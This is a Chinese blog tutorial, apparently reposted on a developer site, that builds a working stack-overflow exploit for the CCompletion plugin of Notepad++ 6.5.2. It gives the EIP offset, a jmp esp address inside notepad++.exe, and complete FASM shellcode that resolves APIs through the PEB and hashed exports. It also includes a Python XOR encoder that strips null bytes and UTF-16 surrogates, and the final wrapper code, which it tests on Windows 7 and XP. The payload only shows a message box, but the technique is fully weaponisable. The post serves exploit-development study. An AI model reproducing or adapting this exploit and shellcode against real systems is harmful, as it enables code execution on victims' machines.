经典栈溢出利用详解一例—Notepad++插件CCompletion

标 题: 经典栈溢出利用详解一例—Notepad++插件CCompletion
时 间: 2014-02-23,21:08:51

回顾
  上篇文章介绍了Noetpad++程序中的一个插件CCompletion存在的一个因使用不安全的lstrcpyW函数拷贝字符串造成的栈溢出漏洞,并且确定了漏洞的大致利用入口,已经找到了可控EIP数据在整个输入数据中的精确位置,但是如果要写出可以利用的Shell Code还需是需要费一番功夫去调试和修正的。这篇文章就按照前面所说的那个漏洞的利用入口来详细的介绍一个可用Shell Code的构造过程。

Shell Code框架构造
  首先要回想一下我们已知的漏洞情况,还记得可控EIP的精确位置么?
我们构造的数据的0x00000430个字节处的一个DWORD值就是我们可控EIP的值。
这里利用一个简单的数据布局图来说明一下:
  Name:  image001.pngViews: 1Size:  100 KB
  P1:静态数据布局

上图中整个数据块就是我们将要输入到Notepad中的数据,其中在偏移0x430处的一个四字节DWORD值在漏洞触发时候将会被程序通过ret指令取出来弹入EIP寄存器,这时候程序流程就会转向到EIP的值,而ESP的值会变成内存中对应于0x00000434处偏移的栈地址,然后程序会从0xXXXXXXXX处开始执行。

知道这个过程之后我们就可以开始构建Shell Code的框架了。首先考虑一点上图中0xXXXXXXXX值我们应该设置为什么值?这个是一般栈溢出利用的一个敲门砖,非常重要,我们的目的是让程序的执行流程进入我们构造的Shell Code并且正确执行,所以很容易想到,这个值就直接设置成我们的Shell Code所在的地址不就行了么,比如把Shell code的真正内容防止在上图中的0x00000434处开始,然后直接把EipValue设置成0x00000434,这个错误就太明显了……因为栈的内存地址并不一定是永远不变的,虽然有些程序每次运行的时候栈地址都相同,所以我们写Shell Code的时候应该尽量避免这种于Shell Code自身地址的HardCode。所以我们应该像一个更好的方法来让程序流程进入我们的ShellCode中。稍微学习过这方面的知识的同学应该都知道jmp esp方法,这种方法相对HardCode EIP值的方法确实优雅了不少。这种方法可以用下图来展示:
 
Click image for larger versionName:	image002.pngViews:	21Size:	280 KBID:	87434
P2:通过JMP ESP方法跳转

上图应该很清楚的说明了JMP ESP的用法了,所以我们要做的就是在偏移0x430处放置一个地址,这个地址所指向的内存中存在一条jmp esp指令,那这个地址放什么?一般的做法是在系统自带的且进程必须的几个dll中搜索出包含这条指令的地址,比如Kernle32.dll,ntdll.dll等。比如我们可以在Kernel32.dll中搜索:
Code:
0:009> .effmach x86
Effective machine: x86 compatible (x86)
0:009:x86> lmvm kernel32
start             end                 module name
76cc0000 76dd0000   KERNEL32   (pdb symbols)          f:\ntsymbols\wkernel32.pdb\139CA12C1AB645F6A7F2DD1A098696692\wkernel32.pdb
   Loaded symbol image file: KERNEL32.dll
   Image path: KERNEL32.dll
   Image name: KERNEL32.dll
   Timestamp:        Fri Aug 02 09:53:25 2013 (51FB1115)
   CheckSum:         00111A9F
   ImageSize:        00110000
…………………………………………………
0:009:x86> s 76cc0000 L00110000 ff e4
76ce8bd5  ff e4 45 cd 76 89 b5 b8-fd ff ff 89 b5 bc fd ff  ..E.v...........
0:009:x86> u 76ce8bd5  
KERNEL32!BasepCheckCacheExcludeCustom+0x54:
76ce8bd5 ffe4            jmp     esp
76ce8bd7 45              inc     ebp
……………………………………………………………
这样我们就得到了一个内存地址0x76ce8bd5,我们可以用这个地址填入之前的Shell Code之前的EipValue中。但是这种方法有两个依赖:
1.  kernel32.dll在内存中的地址固定
2.  jmp esp这个指令在kernel32.dll中的偏移固定,就是需要该模块固定,没有引入代码增删的修改。
仔细想一想这两个条件都是很难保证的,首先kernel32.dll这个模块在早期的操作系统中没有大范围开启ASLR缓解方案的时候可以保证,但是现在只要是windows vista和以上的系统一般都开启了ASLR,每次重新开机之后Kernel32.dll在进程中的基址都会发生改变,所以我们就不能保证写一次Shell Code可以在同一台机器上正常执行。第二条,如果是不同的操作系统,那么kernel32.dll这个模块本身就有二进制级别的差异,所以在一个系统中这个偏移内是jmp esp,换一个系统之后由于kernel32.dll模块不一样,就导致这个地址内不是jmp esp指令。对于系统模块,ASLR的作用是保证每次启动系统的时候模块地址都是随机加载的,对于进程模块而言,ASLR的作用是保证每次程序重新启动的时候模块加载机制都是随机的。

  所以要想找到一个合适的jmp esp作为跳板:
1.  尽量避开操作系统本身的模块,以求系统版本独立性
2.  必须找到一个没有开启ASLR特性,并且加载地址固定的模块
按照上面的要求,应该最先想到的就是进程的EXE模块,因为这个模块在没有开启ASLR特性的时候一定是加载到0x00400000处的,如果成功找的话那这个jmp esp跳板就只跟存在漏洞的目标程序版本相关,跟系统版本无关了。很幸运,Noetpad++.exe这个模块并没有开启ASLR特性,所以这个模块每次程序启动的时候加载地址都是固定的。所以我们在Notepad++.exe模块中查找一下jmp esp指令:
Code:
0:009:x86> lmvm notepad*
start             end                 module name
00400000 005c9000   notepad__   (deferred)             
    Image path: F:\Program Files (x86)\NotePad++\notepad++.exe
    Image name: notepad++.exe
    Timestamp:        Tue Dec 10 18:54:54 2013 (52A6F2FE)
    CheckSum:         0018B6E1
    ImageSize:        001C9000
    File version:     6.5.2.0
    Product version:  6.5.2.0
    File flags:       0 (Mask 3F)
    File OS:          40004 NT Win32
    File type:        1.0 App
    File date:        00000000.00000000
    Translations:     0409.04b0
    CompanyName:      Don HO don.h@free.fr
    ProductName:      Notepad++
    InternalName:     npp.exe
    OriginalFilename: Notepad++.exe
    ProductVersion:   6.52
    FileVersion:      6.52
    FileDescription:  Notepad++ : a free (GNU) source code editor
    LegalCopyright:   Copyleft 1998-2013 by Don HO
0:009:x86> s 00400000 L001C9000 ff e4
0044c4ed  ff e4 ff ff 5f 5e c2 04-00 cc cc cc cc cc cc cc  ...._^..........
0051a88b  ff e4 f9 4e 00 ff ff ff-ff ef f9 4e 00 00 00 00  ...N.......N....
……………………………………
0:009:x86> u 0044c4ed  
notepad__+0x4c4ed:
0044c4ed ffe4            jmp     esp
……………………………………
分析到这里,我们已经找到了必要数据来进行Shell Code的编写了,整个Shell Code的结构就按照上面的P2图所示的方法来构造,因为仅仅是用于学习所以Shell Code的功能非常简单,就是弹出一个Messagebox,该代码采用我的前一篇文章( http://bbs.pediy.com/showthread.php?t=172496)中的已有的用于PE感染的Shell Code,该Shell Code的具体实现方法请参见之前的文章,这里主要说明一下如何把这个Shell Code应用于本文中的漏洞中。

  首先编译Shell Code的汇编代码,我这里所有的汇编代码都是采用的FASM汇编引擎。
原始Shell Code:
Code:
LoadLibraryExA_Digest  equ  0xc0d83287
LoadLibraryA_Digest    equ  0x0C917432
MessageBoxA_Digest    equ  0x1E380A6A
FreeLibrary_Digest    equ  0x30BA7C8C
use32
shellcode_start:
      push ebp    ;// 保存栈帧
      mov ebp, esp

      ;// 获取USER32.DLL的基址
      call @f
      du "USER32.DLL",0
    @@:
      call get_module_base
      test eax, eax
      jz ._shellcode_return
      push eax        ;// [ebp-4]

      ;// 获取MessageBoxA的地址
      push MessageBoxA_Digest
      push eax
      call get_proc_address_by_digest
      test eax, eax
      jz ._shellcode_return

      ;// Shell Code. Shion  [Shel    l_Co  de._  Shio   n000
      call @f
      db "Back Door Opend!", 0
    @@:
      pop edi
      call @f
      db 'HA...', 0
    @@:
      pop esi

      push 00000040h
      push esi
      push edi
      push 0
      call eax

._shellcode_return:
      leave
      jmp $
      
;/************************************************************************/
;/*  some useful procs for shell code programming.
;/*  tishion
;/************************************************************************/

use32
get_peb:
      mov eax, 30h
      mov eax, [fs:eax]      ;// eax = ppeb
      ret

;/************************************************************************/
;/*  Get base address of  module
;*  tishion
;*  2013-05-26 13:45:20
;*  IN:
;*    ebp+8 = moudule name null-terminate string [WCHAR]
;*  
;*  OUT: 
;*    eax = ntdll.base
;*    #define _Wcsnicmp_Digest    0x548b2e5f
;/************************************************************************/
use32
get_module_base:
      push ebp
      mov ebp, esp

      call get_ntdll_base
      jz ._find_modulebase_done
  
      push 548b2e5fh        ;// hash of _wcsnicmp
      push eax
      call get_proc_address_by_digest
      test eax, eax        ;// _wcsnicmp
      jz ._find_modulebase_done

      push eax          ;// [ebp-04h]_wcsnicmp
      
      call get_peb
      test eax, eax
      jz ._find_modulebase_done

      mov eax, [eax+0ch]      ;// eax = pLdr      pLdr:[PEB_LDR_DATA]  
      mov esi, [eax+1ch]
      jmp ._compare_moudule_name

  ._find_modulebase_loop:
      mov esi, [esi]        ;// esi = pLdr->InInitializationOrderModuleList
  ._compare_moudule_name:
      test esi, esi
      jz ._find_modulebase_done
      
      xor edi, edi
      mov di, word [esi+1ch]    ;// length
      push edi
      push dword [esi+20h]    ;// esi = pLdrDataTableEntry.DllBaseName.Buffer [WCHAR]
      push dword [ebp+08h]
      mov edi, [ebp-04h]
      call edi
      test eax, eax
      jnz ._find_modulebase_loop
      
      mov eax, [esi+08h]      ;// eax = pLdrDataTableEntry.DllBase
  ._find_modulebase_done:
      leave
      ret 4

;/************************************************************************/
;/*  Get base address of ntdll.dll module
;*  tishion
;*  2013-05-26 13:45:20
;*  
;*  OUT: 
;*    eax = ntdll.base
;/************************************************************************/
use32
get_ntdll_base:
      call get_peb
      test eax, eax
      jz ._find_ntdllbase_done

      mov eax, [eax+0ch]    ;// eax = pLdr      pLdr:[PEB_LDR_DATA]  
      mov eax, [eax+1ch]    ;// eax = pLdr->InInitializationOrderModuleList
      mov eax, [eax+08h]    ;// eax = pLdrDataTableEntry.DllBase
  ._find_ntdllbase_done:
      ret
      
;/************************************************************************/
;/*  Get function name digest
;*  tishion
;*  2013-05-26 13:45:20
;*  
;*  IN: 
;*    esi = function name 
;*  OUT: 
;*    edx = digest
;/************************************************************************/
use32
get_ansi_string_digest:      
      push eax
      xor edx, edx
    ._next_char:
      xor eax, eax
      lodsb
      test eax, eax
      jz ._done

      ror edx, 7
      add edx, eax
      jmp ._next_char
    ._done:
      pop eax
      ret
;/************************************************************************/
;/*  Get function address by searching export table
;*  tishion
;*  2013-05-26 13:50:13
;*  
;*  IN: 
;*    [ebp+8]    = module base 
;*    [ebp+0ch]  = function name digest
;*  OUT: 
;*    eax      function address (null if failed)
;/************************************************************************/
use32
get_proc_address_by_digest:
      push ebp
      mov ebp, esp

      mov eax, [ebp+8]
      add eax, [eax+3ch]        ;// eax = ImageNtHeader      IMAGE_NT_HEADERS  
      push eax        ;// [ebp-04h]

      ;//add eax, 18h      ;// eax = ImageOptionalHeader  IMAGE_OPTIONAL_HEADER
      ;//add eax, 60h      ;// eax = ImageExportDirectoryEntry  IMAGE_DIRECTORY_ENTRY_EXPORT
      ;// 以上两行只是为了让程序流程清晰,为了减小代码长度,合并两条指令为一条,如下:
      add eax, 78h

      mov eax, [eax]      ;// eax = RVA IMAGE_EXPORT_DIRECTORY
      add eax, [ebp+08h]    ;// eax = ImageExportDirectory IMAGE_EXPORT_DIRECTORY
      mov ecx, eax

      mov eax, [ecx+20h]
      add eax, [ebp+08h]    ;// eax = AddressOfNames
      push eax        ;// [ebp-08h]  导出名称地址表

      mov eax, [ecx+24h]
      add eax, [ebp+08h]    ;// eax = AddressOfNameOrdinals
      push eax        ;// [ebp-0ch]  导出序号表

      mov eax, [ecx+1ch]
      add eax, [ebp+08h]    ;// eax = AddressOfFunctions
      push eax        ;// [ebp-10h]  导出RAV地址表

      push dword [ecx+10h]  ;// [ebp-14h]ordinals base          
      push dword [ecx+14h]  ;// [ebp-18h]NumberOfFunctions    
      push dword [ecx+18h]  ;// [ebp-1ch]NumberOfNames

      mov ecx, [ebp-1ch]
      mov ebx, ecx
      mov eax, [ebp-08h]

  ._find_func:
      mov edi, ebx
      sub edi, ecx
      mov esi, [eax+edi*4]
      test esi, esi      ;// esi是否NULL
      loope ._find_func
      inc ecx
      add esi, [ebp+08h]
      call get_ansi_string_digest
      cmp edx, [ebp+0ch]
      loopne ._find_func    ;// ecx 为目标函数在函数名数组中的index

      xor edx, edx
      mov eax, [ebp-0ch]
      mov dx, [eax+edi*2]  
      
      cmp edx, [ebp-18h]
      jae ._return_null

      mov eax, [ebp-10h]    ;// eax = AddressOfFunctions
      mov eax, [eax+edx*4]  ;// edi = RVA地址数组的地址  edi+4*序号 即为 某一函数的RVA地址
      add eax, [ebp+08h]
      jmp ._function_found_done

  ._return_null:
      xor eax, eax
  ._function_found_done:
      leave
      ret 8
经过编译之后打开查看二进制文件:
Name:  image003.pngViews: 0Size:  434 KB
P3:未编码的Shell Code

这么多不堪入目的0x00,要知道我们的数据要进入栈是要通过lstrcpyW这个函数,所以我们的Shell  Code必须按照UNICODE的编码方式来构造,如果我们的Shell Code中出现了0x0000这样的字符,那就被认为是WCHAR型的NULL结束符,所以后面的Shell Code就无法进入目标栈区了,所以这段Shell  Code是无法直接使用的,必须经过变形,去除其中的0x00,两个连续的0x00不一定会引起截断,但是三个连续的0x00一定会引起截断。为了严格一点我们要求我们的Shell Code中不出现任何0x00。如何做?

Shell Code变形,其实类似加壳和脱壳一样,就是先把包含实际功能的Shell Code用一种算法编码一下,在这里我称之为Shell  Code Payload,然后把payload塞到整个Shell Code中,在Shell Code中添加一段用于解码payload的代码,当Shell Code获取执行权限之后先把payload中的所有数据(代码)解码,最后在跳入到解码后的payload中执行,但是有一点,解码的代码编译后也不能包含截断字符。这样的话,我们就调整一下Shell Code的结构吧,在这里要清除Shell Code和真正的Payload之间的关系,通过上面的描述,之前的那段Shell Code代码现在就被我们当作Payload来使用了,所以我们需要再写一个包装Payload的外壳,之前的方法是Shell Code紧接着EipValue,现在调整一下之后的结构如下图所示:
  Click image for larger versionName:	image004.pngViews:	6Size:	309 KBID:	87436
P4:调整后的Shell Code结构

下面就要开始进行Shell Code变形的编码工作了,Payload的代码无需改变,只需要知道Payload的长度就行了。然后要选择一种变形的算法,一般采用异或算法,用Payload的每一个字节与一个因子factor做异或,生成一个不包含截断字符的Payload,然后在解码时再与那个因子factor做异或,这样就可以解码了。在这里我鉴于复杂度的考虑没有选择使用固定的因子来做异或,而是采用了每个字节与这个字节所在的偏移值进行异或,生成的Payload如下:
  Click image for larger versionName:	image005.pngViews:	1Size:	497 KBID:	87437
P5:编码之后的payload

下面就要开始编写payload的包装了,代码如下:
Code:
TARGET_EIP_OFFSET     equ 0x430

use32
      db 0xff, 0xfe        ;// Unicode bom
org 0x0
      times 0x80 du 'A'
      shellcode_start:
      ;// shellcode解变形
      
      ;// 先让esp指向shellcode_start处
      
      sub sp, (ESP_OFFSET - shellcode_start)       ;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00
      mov edi, esp   ;// 寻址payload
      ;// 让edi指向payload_start
      add edi, (payload_start - shellcode_start)
            
      mov cx, 'PL'  ;// payload的长度
    .continue:
      mov al, byte [edi]
      xor al, cl
      mov byte [edi], al
      inc edi
      loopnzw .continue
      
      ;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变,
      ;// 所以首先调整ESP的值到shellcode代码区之前32个字节处
      ;// 否则shellcode执行中会破坏shellcode代码
      sub esp, 0x20
      
payload_start:
    times (TARGET_EIP_OFFSET - payload_start) db 'P'        ;// 为Payload预留的代码空间
payload_end:

org TARGET_EIP_OFFSET          ;// 调整对齐伪指令
      dd  0x0044C4ED      ;// 我们已知的JMP ESP指令的地址
ESP_OFFSET:
      jmp shellcode_start      ;// 注意此时esp指向这里
      
      ;// 多来点填充尾部
      times 400 du 'E'
为了一次到位,代码中把所有的占位符都以及各包含进来了,编译完之后只需要把payload填充到代码中为payload预留的代码空间中就行了。
  Click image for larger versionName:	image006.pngViews:	2Size:	434 KBID:	87438
P6:生成的Shell Code框架

然后使用010Editor,把payload复制到payload的预留空间,保存此文件,利用此文件去触发漏洞,结果并没有我们预想的弹出我们期待的MessageBox。

第一轮修正:尴尬的UNICODE,去除Shell Code中无法编码的Unicode代理对(0xD800 ~0xDFFFF)
  本以为我们的Shell Code已经可以正确运行了,但是结果却失败了,然后就跟踪调试,看一下到底是什么地方出了问题,最需要怀疑的就是我们的原始数据是否正确进入了程序,通过对比在解码前的内存数据和我们的Shell Code的二进制文件的数据发现,有几个地方的数据变了:
  Click image for larger versionName:	image007.pngViews:	4Size:	855 KBID:	87439
P7:Shell Code数据改变

统计之后发现存在如下关系,这个需要经验来判断了,如果你对字符串编码一无所知,对于这个问题基本上是无解了,所以漏洞挖掘和利用对一个人的综合技能要求相对较高。
Code:
37 DE     FD FF FD FF
57 DE     FD FF FD FF
54 DF     FD FF FD FF
14 D8     FD FF FD FF
01 DB     FD FF FD FF
72 DA     FD FF FD FF
CE DB     FD FF FD FF
D8 D9     FD FF FD FF
对于这个问题,我最初只知道是因为编码转换的问题,但是发现他们都存在一个特征,上面所有的字节串转成一个WORD之后值都在0XD800之后,就这一个线索,然后拼接个关键字Unicode 0xD800去百度谷歌,最终在维基百科( http://zh.wikipedia.org/wiki/UTF-16)上面找到了如下解释:
Click image for larger versionName:	image008.pngViews:	7Size:	197 KBID:	87440 
P8:Unicode中的陷阱码位

很不幸,我们的payload正好掉进了这些数据的陷阱中,windows在进行编码转换的时候遇到上述这些码位就直接编码错误了,然后就编码成了fd ff fd ff。所以我们还要改进算法,以求能避免出现位于0xD800~0xDFFF内的码位了。这里起先是采用了增加一个factor多进行一个异或,通过调整factor来找到符合要求的payload,但是后来意识到自己把简单问题复杂化了,所以就重新修改了算法,直接异或一个固定factor来编码,然后调整factor来寻找。

当然这个过程自然可以自动化,所以写个Python 脚本来做吧。
Code:
#!/usr/bin/env python
#coding:utf-8
"""
  Author:  tishion --<tishion#163.com>
  Purpose: 
  Created: 2014/2/22
"""

from struct import *


def encode_sc(srcfn, dstfn, s=0):
    """
    shell code变形方法:
        把shell code中的每一个字节与该字节在整个单独的shell code中的
        偏移值进行异或,然后再与一个salt做一次异或。
        salt的存在主要是为了寻找一个满足各种要求的shell code变体
    """
    try:
        srcf = open(srcfn, 'rb')        #shell code源文件
        dstf = open(dstfn, 'wb')        #变形后的目标文件
        
        OneByte = Struct('B')
        
        srcstr = srcf.read()
        dststr = ''
        
        salt = s & 0xFF
        for i in range(0, len(srcstr)):
            srcbyte = OneByte.unpack(srcstr[i])[0]
            #dstbyte = (srcbyte ^ (i + salt)) & 0xFF       #这种算法最终无法找到满足要求的变形结果
            
            #dstbyte = (srcbyte ^ salt ^ i) & 0xFF           #通过这中算法找到了满足的变形结果salt=0x20
            
            dstbyte = (srcbyte ^ salt) & 0xFF           #
            
            ##############################################################
            #判断条件,这里的代码用于判断生成的shell code是否符合某些要求
            if (
                (dstbyte == 0) or 
                (((i % 2) != 0) and (dstbyte >= 0xD8) and (dstbyte <= 0xDF))
                ):
                #print 'i=', i, 'dstbyte=', hex(dstbyte)
                srcf.close()
                dstf.close()
                return False
            ###############################################################
            
            dststr = dststr + OneByte.pack(dstbyte)
            print '[%d]0x%02x ==> 0x%02x' % (i, srcbyte, dstbyte)
            
        dstf.write(dststr)
            
        srcf.close()
        dstf.close()
    except Exception, e:
        print 'Exception:', e
        return False
        
    return True

if __name__ == '__main__':
    
    srcfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin'
    dstfn = r'F:\Projects\Asm\FasmPro\notepad++_shellcode\patch-modify\payload.bin______'
    
    #encode_sc(srcfn, dstfn, 0x20)
    #exit()
    
    for i in range(2, 0xff):
        if encode_sc(srcfn, dstfn, i):
            print 'OK @salt =', hex(i)
            break
        else:
            print 'Failed @salt =', hex(i)
            pass
运行结果:
Code:
OK @salt = 0x43
因子就确定为0x43,然后重新使用该因子来编码,之后就解决了这个UNICODE的编码陷阱问题。编码之后的Shell Code如下图所示:
  Click image for larger versionName:	image009.pngViews:	6Size:	483 KBID:	87441
P9:新算法编码之后的payload

因为我们改变了编码算法,所以对应的解码算法也要做修改,所以Shell Code的编码就要修改:
Code:
TARGET_EIP_OFFSET     equ 0x430
PAYLOAD_ENCODE_SALT    equ 0x43
PAYLOAD_LENGTH      equ 0x154

use32
      db 0xff, 0xfe
org 0x0
      times 0x80 du 'A'

shellcode_start:
      ;// shellcode解变形
      
      ;// 先让esp指向shellcode_start处
      ;// 注意不能用esp,否则第二操作数又会出现两个连续0x00 0x00
      sub sp, (ESP_OFFSET - shellcode_start)
      mov esi, esp   ;// 寻址payload
      ;// 让esi指向payload_start
      add esi, (payload_start - shellcode_start)
            
      mov cx, PAYLOAD_LENGTH  ;// payload的长度
    .continue:
      mov al, byte [esi] 
      xor al, PAYLOAD_ENCODE_SALT
      mov byte [esi], al
      inc esi
      loopnzw .continue
      nop
      ;// 代码是从下面的ESP_OFFSET处跳转来的,并且ESP值未变,
      ;// 所以首先调整ESP的值到shellcode代码区之前32个字节处
      ;// 否则shellcode执行中会破坏shellcode代码
      sub esp, 0x20
      
payload_start:
    times (TARGET_EIP_OFFSET - payload_start) db 'P'
payload_end:

org TARGET_EIP_OFFSET          ;// 调整对齐伪指令
      dd  0x0044C4ED        ;// 我们已知的JMP ESP指令的地址
ESP_OFFSET:
      jmp shellcode_start      ;// 注意此时esp指向这里
      
      ;// 多来点填充尾部
      times 400 du 'E'
      
然后用生成的Shell Code去触发漏洞场景,结果还是悲剧的失败了,程序跑飞了,继续调试跟踪发现:
  Click image for larger versionName:	image010.pngViews:	9Size:	1272 KBID:	87442
P10:Shell Code数据被位置原因修改。

位于整个Shell Code的偏移0x208处的一个WORD被修改为了00,那我们还要继续修正我们的Shell Code。

第二轮修正:不可抗拒力,填充Padding数据避免Shell Code被程序修改
  为什么Shell Code的0x208处被修改为0x0000了呢?这个问题我们可以继续深究,但是也可以用别的方法绕过这的数据扰乱,方法就是把该偏移附近的代码修改为无用数据,利用占位的方式在这里进行padding。占位的时候可以根据精确定位只占用目标偏移的固定的字节的数据,但是为了节省时间(因为这个Shell Code的研究已经话费了5个小时的时间了,因为之前采用了一种复杂的异或方式,囧……),所以这里我们直接padding掉0x10个字节,具体的padding方法是跟踪代码,然后对照我们的payload的汇编源码,确定该偏移位于我们的payload代码的大概位置,经过定位之后确定padding的地方应该在如下代码位置:
      
Code:
;/************************************************************************/
;/*  Get function name digest
;*  tishion
;*  2013-05-26 13:45:20
;*  
;*  IN: 
;*    esi = function name 
;*  OUT: 
;*    edx = digest
;/************************************************************************/
use32
get_ansi_string_digest:      
      push eax
      xor edx, edx
    ._next_char:
      xor eax, eax
      lodsb
      test eax, eax
      jz ._done

      ror edx, 7
      add edx, eax
      jmp ._next_char
    ._done:
      pop eax
      ret
;/************************************************************************/
;/*  Get function address by searching export table
;*  tishion
;*  2013-05-26 13:50:13
;*  
;*  IN: 
;*    [ebp+8]    = module base 
;*    [ebp+0ch]  = function name digest
;*  OUT: 
;*    eax      function address (null if failed)
;/************************************************************************/
use32

times 0x10 db 0x90              ;//在此处填充16个nop

get_proc_address_by_digest:
      push ebp
      mov ebp, esp

      mov eax, [ebp+8]
      add eax, [eax+3ch]        ;// eax = ImageNtHeader      IMAGE_NT_HEADERS  
      push eax        ;// [ebp-04h]
这样修改payload之后重新编译,我们的payload代码就会增加了16个字节,所以shell Code的代码也要进行修改,因为Shell Code中有一个HardCode的值,那就是payload的长度,所以我们需要修改Shell Code代码中的一个常量:
Code:
PAYLOAD_LENGTH      equ 0x154
修改改为:
Code:
PAYLOAD_LENGTH      equ 0x164
经过如上修改,重新编译Payload和Shell Code,然后把payload复制到Shell Code中的占位区,然后用新的Shell Code去验证:
Click image for larger versionName:	image011.pngViews:	8Size:	1197 KBID:	87443 
P11:EMET提示DEP保护

额,遇到了DEP保护,所以这里要说明我们的Shell Code并没有针对DEP等其他缓解方案进行绕过,所以我们关闭Notepad++.exe的DEP和EAF再来进行验证把。
Click image for larger versionName:	image012.pngViews:	9Size:	679 KBID:	87444 
P12:关闭DEP和EAF保护。

然后再来一遍:
Click image for larger versionName:	image013.pngViews:	4Size:	1149 KBID:	87445 
P13:Windows7系统下的Shell Code成功执行。

然后换个系统,Windows XP SP3:
  Click image for larger versionName:	image014.pngViews:	3Size:	493 KBID:	87446
P14:Windows XP SP3下的Shell Code执行成功

补充说明:
Noetpad++.exe的版本:6.5.2的UNICODE版本
CCompletion插件的版本:1.19

还有很多细节问题本文没有深入的介绍,只能靠有兴趣的自己去实践一遍然后挖掘这些问题了。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值